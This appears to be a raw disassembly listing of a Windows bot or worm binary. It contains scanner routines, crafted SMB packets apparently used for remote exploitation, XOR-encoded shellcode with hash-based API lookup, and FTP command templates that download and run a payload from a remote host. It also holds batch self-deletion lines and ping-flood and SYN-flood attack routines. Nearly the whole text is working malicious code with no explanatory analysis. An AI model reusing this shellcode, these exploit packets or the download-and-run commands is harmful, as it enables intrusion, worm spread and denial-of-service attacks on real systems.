aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 8
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		align 10h
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 4
dword_4458B8	dd 10FF8h, 0	dword_4458C0	dd 10FF8h	dword_4458C4	dd 7FFDF020h, 0	dword_4458CC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445954	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_445984	dd 0		dword_445988	dd 800000D4h			align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445990	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A8C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445AA2
		mov	[esi+8], eax
		call	sub_445A55
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445AA2
		mov	[esi+0Ch], eax
		call	sub_445A07
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445AA2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445990	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A07	proc near		; CODE XREF: sub_445990+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A30
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_445A07	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A30	proc near		; CODE XREF: sub_445A07+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A3F:				; CODE XREF: sub_445A30+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A4C
		inc	ebx
		jmp	short loc_445A3F
; ---------------------------------------------------------------------------


loc_445A4C:				; CODE XREF: sub_445A30+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A30	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A55	proc near		; CODE XREF: sub_445990+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A6D:				; CODE XREF: sub_445A55+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A75
		mov	ecx, [ecx]
		jmp	short loc_445A6D
; ---------------------------------------------------------------------------


loc_445A75:				; CODE XREF: sub_445A55+1Aj
		mov	edx, edi


loc_445A77:				; CODE XREF: sub_445A55+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A81
		mov	edx, [edx+4]
		jmp	short loc_445A77
; ---------------------------------------------------------------------------


loc_445A81:				; CODE XREF: sub_445A55+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A55	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A8C	proc near		; CODE XREF: sub_445990+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_445AA2	proc near		; CODE XREF: sub_445990+16p
					; sub_445990+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AB8:				; CODE XREF: sub_445AA2+33j
		jecxz	short loc_445AF2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AC5:				; CODE XREF: sub_445AA2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AD1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AC5
; ---------------------------------------------------------------------------


loc_445AD1:				; CODE XREF: sub_445AA2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AB8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445AF2:				; CODE XREF: sub_445AA2:loc_445AB8j
					; sub_445AA2:loc_445AF2j
		jmp	short loc_445AF2
sub_445AA2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_445AF8	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B4A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445B15:				; CODE XREF: sub_445AF8+38j
		jecxz	short loc_445B45
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B20:				; CODE XREF: sub_445AF8+32j
		lodsb
		test	al, al
		jz	short loc_445B2C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B20
; ---------------------------------------------------------------------------


loc_445B2C:				; CODE XREF: sub_445AF8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445B15
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B45:				; CODE XREF: sub_445AF8:loc_445B15j
		mov	[esp+arg_0], ebx
		retn
sub_445AF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B4A	proc near		; CODE XREF: sub_445AF8+7p

; FUNCTION CHUNK AT 00445B82 SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B63
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B6E
; ---------------------------------------------------------------------------


loc_445B63:				; CODE XREF: sub_445B4A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B6E:				; CODE XREF: sub_445B4A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B82
sub_445B4A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B75	proc near		; CODE XREF: sub_445B4A:loc_445B82p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B75	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B4A


loc_445B82:				; CODE XREF: sub_445B4A+29j
		call	sub_445B75
; END OF FUNCTION CHUNK	FOR sub_445B4A
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C1C	dd 23h		dword_445C20	dd 60h		dword_445C24	dd 62B0606h, 2050501h, 0A0hdword_445C30	dd 0A1h		dword_445C34	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 10h


loc_445C40:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C48
; ---------------------------------------------------------------------------
		align 8
dword_445C48	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445D02

; =============== S U B	R O U T	I N E =======================================



sub_445CF2	proc far		; CODE XREF: sub_445CF2:loc_445D02p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CFA:				; CODE XREF: sub_445CF2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CFA
		jmp	short loc_445D07
; ---------------------------------------------------------------------------


loc_445D02:				; CODE XREF: ___:00445CF0j
		call	near ptr sub_445CF2


loc_445D07:				; CODE XREF: sub_445CF2+Ej
		jo	short loc_445D6B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D89
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D6B:				; CODE XREF: sub_445CF2:loc_445D07j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D89:				; CODE XREF: sub_445CF2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E30:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E42

; =============== S U B	R O U T	I N E =======================================



sub_445E32	proc near		; CODE XREF: sub_445E32:loc_445E42p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E3A:				; CODE XREF: sub_445E32+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E3A
		jmp	short loc_445E47
; ---------------------------------------------------------------------------


loc_445E42:				; CODE XREF: ___:loc_445E30j
		call	sub_445E32


loc_445E47:				; CODE XREF: sub_445E32+Ej
		jo	short near ptr dword_445DC0+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445EE0	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FC8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446054	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_446100	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461E0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_446237	dd 3F000000h	dword_44623B	dd 3F3F3F3Fh	byte_44623F	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_446244	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4462B0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446354	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463D4	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446468	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464D4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446548	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465D4	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467BC	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 10h
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		dd 2 dup(0)
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 4
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 10h
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 10h
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 8
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 10h
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 10h
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 4
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 8
dword_446908	dd 6EB06EBh			align 10h
dword_446910	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_44691C	dd 1CEC8166h	dword_446920	dd 0E4FF07h			align 8
dword_446928	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446974	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_4469A4	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469C4	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469CE:				; CODE XREF: ___:004469D8j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469CE
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 10h
word_446C30	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C34	dd 215h				dd 0
dword_446C3C	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C44:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C48
; ---------------------------------------------------------------------------


loc_446C46:				; CODE XREF: ___:loc_446C48p
		jmp	short loc_446C4D
; ---------------------------------------------------------------------------


loc_446C48:				; CODE XREF: ___:loc_446C44j
		call	loc_446C46


loc_446C4D:				; CODE XREF: ___:loc_446C46j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C52	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C57	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C5C:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C60
; ---------------------------------------------------------------------------


loc_446C5E:				; CODE XREF: ___:loc_446C60p
		jmp	short loc_446C65
; ---------------------------------------------------------------------------


loc_446C60:				; CODE XREF: ___:loc_446C5Cj
		call	loc_446C5E


loc_446C65:				; CODE XREF: ___:loc_446C5Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C69	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C6D	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C74	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CD8	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CE8	dd 74656720h	byte_446CEC	db 20h			; DATA XREF: sub_426560+A2r
dword_446CED	dd 0E8006A00h	dword_446CF1	dd 17h							; sub_426560+D2r
dword_446CF5	dd 0E8C30175h	dword_446CF9	dd 1							; sub_426560+E7r
byte_446CFD	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446D07	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_427740+22o
		align 10h
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_427990+D0o
		align 4
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
		align 10h
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
		align 10h
		dd 0
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_427B10+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_427B10+2Bo
		align 8
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_427B10+23o
		align 4
		dd 0
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_427B10+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_427C90+22o
		align 10h
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
